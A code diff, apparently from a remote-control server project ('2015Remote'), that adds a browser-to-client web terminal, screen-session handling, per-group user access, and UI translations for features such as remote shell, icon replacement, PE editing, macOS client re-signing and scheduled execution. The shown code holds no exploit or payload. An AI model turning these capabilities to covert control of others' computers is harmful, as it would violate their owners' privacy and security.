|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// Screen Context Registry (for mouse/keyboard control)
|
// Screen Context Registry (for mouse/keyboard control)
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
@@ -1563,11 +2035,14 @@ void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
void CWebService::UnregisterScreenContext(uint64_t device_id) {
|
void CWebService::UnregisterScreenContext(uint64_t device_id) {
|
||||||
if (!m_bRunning) return;
|
// Always clean up, even if WebService is stopping
|
||||||
|
// This prevents stale pointers in m_ScreenContexts
|
||||||
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
|
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
|
||||||
m_ScreenContexts.erase(device_id);
|
m_ScreenContexts.erase(device_id);
|
||||||
|
if (m_bRunning) {
|
||||||
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
|
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
|
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
|
||||||
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
|
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
|
||||||
@@ -1666,6 +2141,26 @@ void CWebService::ClearWebTriggered(uint64_t device_id) {
|
|||||||
m_WebTriggeredDevices.erase(device_id);
|
m_WebTriggeredDevices.erase(device_id);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::SetMfcTriggered(uint64_t device_id) {
|
||||||
|
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
|
||||||
|
m_MfcTriggeredDevices.insert(device_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CWebService::IsMfcTriggered(uint64_t device_id) {
|
||||||
|
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
|
||||||
|
return m_MfcTriggeredDevices.find(device_id) != m_MfcTriggeredDevices.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::ClearMfcTriggered(uint64_t device_id) {
|
||||||
|
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
|
||||||
|
m_MfcTriggeredDevices.erase(device_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CWebService::HasActiveSession(uint64_t device_id) {
|
||||||
|
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
|
||||||
|
return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();
|
||||||
|
}
|
||||||
|
|
||||||
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
|
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
|
||||||
if (!m_bRunning || m_bStopping) return;
|
if (!m_bRunning || m_bStopping) return;
|
||||||
|
|
||||||
|
|||||||
@@ -43,6 +43,7 @@ struct WebUser {
|
|||||||
std::string password_hash; // SHA256(password + salt)
|
std::string password_hash; // SHA256(password + salt)
|
||||||
std::string salt;
|
std::string salt;
|
||||||
std::string role; // "admin" | "viewer"
|
std::string role; // "admin" | "viewer"
|
||||||
|
std::vector<std::string> allowed_groups; // Groups this user can view (empty = no access, admin = all)
|
||||||
};
|
};
|
||||||
|
|
||||||
// Device info for web clients
|
// Device info for web clients
|
||||||
@@ -79,7 +80,8 @@ public:
|
|||||||
void SetAdminPassword(const std::string& password);
|
void SetAdminPassword(const std::string& password);
|
||||||
|
|
||||||
// User management
|
// User management
|
||||||
bool CreateUser(const std::string& username, const std::string& password, const std::string& role);
|
bool CreateUser(const std::string& username, const std::string& password, const std::string& role,
|
||||||
|
const std::vector<std::string>& allowed_groups = {});
|
||||||
bool DeleteUser(const std::string& username);
|
bool DeleteUser(const std::string& username);
|
||||||
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
|
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
|
||||||
|
|
||||||
@@ -144,7 +146,7 @@ private:
|
|||||||
|
|
||||||
// JSON helpers
|
// JSON helpers
|
||||||
std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
|
std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
|
||||||
std::string BuildDeviceListJson();
|
std::string BuildDeviceListJson(const std::string& username = "");
|
||||||
|
|
||||||
// Password verification
|
// Password verification
|
||||||
bool VerifyPassword(const std::string& input, const WebUser& user);
|
bool VerifyPassword(const std::string& input, const WebUser& user);
|
||||||
@@ -157,6 +159,7 @@ private:
|
|||||||
void HandleCreateUser(void* ws_ptr, const std::string& msg);
|
void HandleCreateUser(void* ws_ptr, const std::string& msg);
|
||||||
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
|
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
|
||||||
void HandleListUsers(void* ws_ptr, const std::string& token);
|
void HandleListUsers(void* ws_ptr, const std::string& token);
|
||||||
|
void HandleGetGroups(void* ws_ptr, const std::string& token);
|
||||||
|
|
||||||
// Send to WebSocket
|
// Send to WebSocket
|
||||||
void SendText(void* ws_ptr, const std::string& text);
|
void SendText(void* ws_ptr, const std::string& text);
|
||||||
@@ -224,6 +227,14 @@ public:
|
|||||||
bool IsWebTriggered(uint64_t device_id);
|
bool IsWebTriggered(uint64_t device_id);
|
||||||
void ClearWebTriggered(uint64_t device_id);
|
void ClearWebTriggered(uint64_t device_id);
|
||||||
|
|
||||||
|
// MFC trigger management - MFC dialogs should always be visible
|
||||||
|
void SetMfcTriggered(uint64_t device_id);
|
||||||
|
bool IsMfcTriggered(uint64_t device_id);
|
||||||
|
void ClearMfcTriggered(uint64_t device_id);
|
||||||
|
|
||||||
|
// Check if a remote desktop session already exists for device
|
||||||
|
bool HasActiveSession(uint64_t device_id);
|
||||||
|
|
||||||
// Config accessors
|
// Config accessors
|
||||||
void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
|
void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
|
||||||
bool GetHideWebSessions() const { return m_bHideWebSessions; }
|
bool GetHideWebSessions() const { return m_bHideWebSessions; }
|
||||||
@@ -236,10 +247,50 @@ public:
|
|||||||
void UnregisterScreenContext(uint64_t device_id);
|
void UnregisterScreenContext(uint64_t device_id);
|
||||||
CONTEXT_OBJECT* GetScreenContext(uint64_t device_id);
|
CONTEXT_OBJECT* GetScreenContext(uint64_t device_id);
|
||||||
|
|
||||||
|
// ========== Web Terminal (Phase 1: 1 user per device) ==========
|
||||||
|
// Web 终端会话桥:把浏览器端 xterm.js ↔ 客户端 shell 子上下文连起来。
|
||||||
|
// 设计:每台主机最多一个 Web 终端会话;如果别的浏览器请求同一台主机的终端,
|
||||||
|
// 拒绝(UX 上后续可改成共享只读)。
|
||||||
|
// 生命周期:term_open → COMMAND_SHELL → 客户端建子上下文 → MessageHandle
|
||||||
|
// 看到 TOKEN_TERMINAL_START / TOKEN_SHELL_START + IsTermPending(d) →
|
||||||
|
// 调 RegisterTerminalContext 接管,跳过 MFC dialog 打开。
|
||||||
|
|
||||||
|
// 浏览器侧入口
|
||||||
|
void HandleTermOpen(void* ws_ptr, const std::string& msg);
|
||||||
|
void HandleTermInput(void* ws_ptr, const std::string& msg);
|
||||||
|
void HandleTermResize(void* ws_ptr, const std::string& msg);
|
||||||
|
void HandleTermClose(void* ws_ptr, const std::string& msg);
|
||||||
|
|
||||||
|
// MessageHandle 向 WebService 询问 / 移交的钩子
|
||||||
|
bool IsTermPending(uint64_t device_id); // 决定是否要拦截 dialog 打开
|
||||||
|
void RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty);
|
||||||
|
bool IsTerminalContext(CONTEXT_OBJECT* ctx); // 是否是 Web 终端持有的上下文
|
||||||
|
void OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len);// 把 shell 输出泵到对应 web client
|
||||||
|
void OnTerminalClosed(CONTEXT_OBJECT* ctx); // shell 子上下文断开时清理
|
||||||
|
|
||||||
private:
|
private:
|
||||||
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
|
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
|
||||||
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
|
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
|
||||||
std::mutex m_ScreenContextsMutex;
|
std::mutex m_ScreenContextsMutex;
|
||||||
|
|
||||||
|
// MFC triggered devices: dialogs created by MFC should always be visible
|
||||||
|
std::set<uint64_t> m_MfcTriggeredDevices;
|
||||||
|
std::mutex m_MfcTriggeredMutex;
|
||||||
|
|
||||||
|
// Web 终端会话状态
|
||||||
|
struct WebTermSession {
|
||||||
|
void* ws_ptr; // browser WebSocket
|
||||||
|
uint64_t device_id;
|
||||||
|
CONTEXT_OBJECT* shell_ctx; // shell 子上下文(首条消息抵达后才填)
|
||||||
|
bool is_pty; // true=TOKEN_TERMINAL(现代 PTY), false=TOKEN_SHELL(老 cmd 管道)
|
||||||
|
};
|
||||||
|
std::map<uint64_t, WebTermSession> m_TermSessions; // by device_id
|
||||||
|
std::map<CONTEXT_OBJECT*, uint64_t> m_TermContextToDevice; // 反查 ctx → device_id
|
||||||
|
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
|
||||||
|
std::mutex m_TermMutex;
|
||||||
|
|
||||||
|
// 内部清理(已持锁版本)
|
||||||
|
void CloseTermSessionLocked(uint64_t device_id);
|
||||||
};
|
};
|
||||||
|
|
||||||
// Global accessor
|
// Global accessor
|
||||||
|
|||||||
@@ -60,4 +60,19 @@ public:
|
|||||||
if (caps.IsEmpty()) return false;
|
if (caps.IsEmpty()) return false;
|
||||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
|
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查客户端是否使用 UTF-8 协议字符串编码。
|
||||||
|
// 无此能力位的老客户端:服务端按 CP_ACP(CP936,覆盖 95% 的简中/英语 ASCII 老客户端)解读。
|
||||||
|
bool SupportsUtf8() const {
|
||||||
|
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||||
|
if (caps.IsEmpty()) return false;
|
||||||
|
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。
|
||||||
|
bool SupportsScreenPreview() const {
|
||||||
|
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||||
|
if (caps.IsEmpty()) return false;
|
||||||
|
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -105,6 +105,7 @@ RTT=RTT
|
|||||||
解密数据=Decrypt Data
|
解密数据=Decrypt Data
|
||||||
画板=Drawing
|
画板=Drawing
|
||||||
屏幕墙=Screen Wall
|
屏幕墙=Screen Wall
|
||||||
|
替换=Replace
|
||||||
替换图标=Replace Icon
|
替换图标=Replace Icon
|
||||||
发送文件=Send File
|
发送文件=Send File
|
||||||
历史主机=Host History
|
历史主机=Host History
|
||||||
@@ -1171,7 +1172,7 @@ WIN32
|
|||||||
请选择目录=Language location
|
请选择目录=Language location
|
||||||
国际化(&N)=Internationalization
|
国际化(&N)=Internationalization
|
||||||
语言包目录(&D)=Language Pack Directory
|
语言包目录(&D)=Language Pack Directory
|
||||||
请通过“扩展”菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
|
请通过\"扩展\"菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
|
||||||
请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description!
|
请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description!
|
||||||
PE 编辑=PE Edit
|
PE 编辑=PE Edit
|
||||||
PE 编辑(&R)=PE Edit(&R)
|
PE 编辑(&R)=PE Edit(&R)
|
||||||
@@ -1783,8 +1784,11 @@ IOCP
|
|||||||
标准FRPC[不可用]=Standard FRPC [Unavailable]
|
标准FRPC[不可用]=Standard FRPC [Unavailable]
|
||||||
不自动执行=No Auto Execute
|
不自动执行=No Auto Execute
|
||||||
启动执行=Execute on Startup
|
启动执行=Execute on Startup
|
||||||
每日定时[未实现]=Daily Schedule [Not Implemented]
|
每日定时=Daily Schedule
|
||||||
每周定时[未实现]=Weekly Schedule [Not Implemented]
|
每周定时=Weekly Schedule
|
||||||
|
每月定时=Monthly Schedule
|
||||||
|
每年定时=Yearly Schedule
|
||||||
|
关闭执行=Turn OFF
|
||||||
名称=Name
|
名称=Name
|
||||||
大小=Size
|
大小=Size
|
||||||
运行类型=Run Type
|
运行类型=Run Type
|
||||||
@@ -1819,3 +1823,34 @@ IOCP
|
|||||||
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||||
请先选择至少一个插件=Please select at least one plugin
|
请先选择至少一个插件=Please select at least one plugin
|
||||||
|
|
||||||
|
没有本地历史记录=No local history
|
||||||
|
历史目录不存在: %s=History folder not exist: %s
|
||||||
|
无法识别远程主机=Unknown remote machine
|
||||||
|
没有远程历史记录=No remote history
|
||||||
|
算法自适应=Algorithm Adaptive
|
||||||
|
; Build Dialog - English Translation
|
||||||
|
; Format: Simplified Chinese=English
|
||||||
|
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
|
||||||
|
|
||||||
|
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
|
||||||
|
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
|
||||||
|
或手动重签:=Or re-sign manually:
|
||||||
|
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
|
||||||
|
|
||||||
|
; Screen Preview Loop - English Translation
|
||||||
|
; Format: Simplified Chinese=English
|
||||||
|
|
||||||
|
主机:=Host:
|
||||||
|
分辨率:=Resolution:
|
||||||
|
有 %d 个主机不支持屏幕预览,已跳过=%d host(s) do not support screen preview, skipped
|
||||||
|
播放快照=Play Snapshot
|
||||||
|
快照=Snapshot
|
||||||
|
预览=Preview
|
||||||
|
主机列表预览图=Host List Thumbnails
|
||||||
|
|
||||||
|
入站告警=Inbound Alert
|
||||||
|
反代理告警=Anti-Proxy Alert
|
||||||
|
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
|
||||||
|
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
|
||||||
|
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
|
||||||
|
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
|
||||||
|
|||||||
@@ -105,6 +105,7 @@ RTT=RTT
|
|||||||
解密数据=解密資料
|
解密数据=解密資料
|
||||||
画板=繪圖板
|
画板=繪圖板
|
||||||
屏幕墙=螢幕牆
|
屏幕墙=螢幕牆
|
||||||
|
替换=替換
|
||||||
替换图标=替換圖示
|
替换图标=替換圖示
|
||||||
发送文件=傳送檔案
|
发送文件=傳送檔案
|
||||||
历史主机=歷史主機
|
历史主机=歷史主機
|
||||||
@@ -1169,7 +1170,7 @@ WIN32
|
|||||||
请选择目录=請選擇目錄
|
请选择目录=請選擇目錄
|
||||||
国际化(&N)=國際化
|
国际化(&N)=國際化
|
||||||
语言包目录(&D)=語言包目錄
|
语言包目录(&D)=語言包目錄
|
||||||
请通过“扩展”菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。
|
请通过\"扩展\"菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。
|
||||||
请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述!
|
请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述!
|
||||||
PE 编辑=PE 編輯
|
PE 编辑=PE 編輯
|
||||||
PE 编辑(&R)=PE 編輯(&R)
|
PE 编辑(&R)=PE 編輯(&R)
|
||||||
@@ -1775,8 +1776,11 @@ IOCP
|
|||||||
标准FRPC[不可用]=標準FRPC[不可用]
|
标准FRPC[不可用]=標準FRPC[不可用]
|
||||||
不自动执行=不自動執行
|
不自动执行=不自動執行
|
||||||
启动执行=啟動執行
|
启动执行=啟動執行
|
||||||
每日定时[未实现]=每日定時[未實現]
|
每日定时=每日定時
|
||||||
每周定时[未实现]=每週定時[未實現]
|
每周定时=每週定時
|
||||||
|
每月定时=每月定时
|
||||||
|
每年定时=每年定时
|
||||||
|
关闭执行=关闭执行
|
||||||
名称=名稱
|
名称=名稱
|
||||||
大小=大小
|
大小=大小
|
||||||
运行类型=執行類型
|
运行类型=執行類型
|
||||||
@@ -1810,3 +1814,34 @@ IOCP
|
|||||||
<< 移除=<< 移除
|
<< 移除=<< 移除
|
||||||
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||||
请先选择至少一个插件=請先選擇至少一個外掛
|
请先选择至少一个插件=請先選擇至少一個外掛
|
||||||
|
没有本地历史记录=没有本地历史记录
|
||||||
|
历史目录不存在: %s=历史目录不存在: %s
|
||||||
|
无法识别远程主机=无法识别远程主机
|
||||||
|
没有远程历史记录=没有远程历史记录
|
||||||
|
算法自适应=算法自适应
|
||||||
|
; Build Dialog - Traditional Chinese Translation
|
||||||
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
|
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
|
||||||
|
|
||||||
|
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
|
||||||
|
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
|
||||||
|
或手动重签:=或手動重新簽章:
|
||||||
|
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
|
||||||
|
|
||||||
|
; Screen Preview Loop - Traditional Chinese Translation
|
||||||
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
|
|
||||||
|
主机:=主機:
|
||||||
|
分辨率:=解析度:
|
||||||
|
有 %d 个主机不支持屏幕预览,已跳过=有 %d 個主機不支援螢幕預覽,已跳過
|
||||||
|
播放快照=播放快照
|
||||||
|
快照=快照
|
||||||
|
预览=預覽
|
||||||
|
主机列表预览图=主機列表預覽圖
|
||||||
|
|
||||||
|
入站告警=入站告警
|
||||||
|
反代理告警=反代理告警
|
||||||
|
试用版 LAN-only 限制=試用版 LAN-only 限制
|
||||||
|
入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s (Proxy Protocol 真實 IP 或 raw TCP 對端)
|
||||||
|
检测到入站连接来自公网 IP:%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控,请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP:%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控,請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
|
||||||
|
检测到可疑连接:内核 RTT 中位数 %d ms,超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控,请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms,超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控,請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
|
||||||
|
|||||||
BIN
server/2015Remote/res/3rd/TerminalModule_x64.dll
Normal file
BIN
server/2015Remote/res/3rd/TerminalModule_x64.dll
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user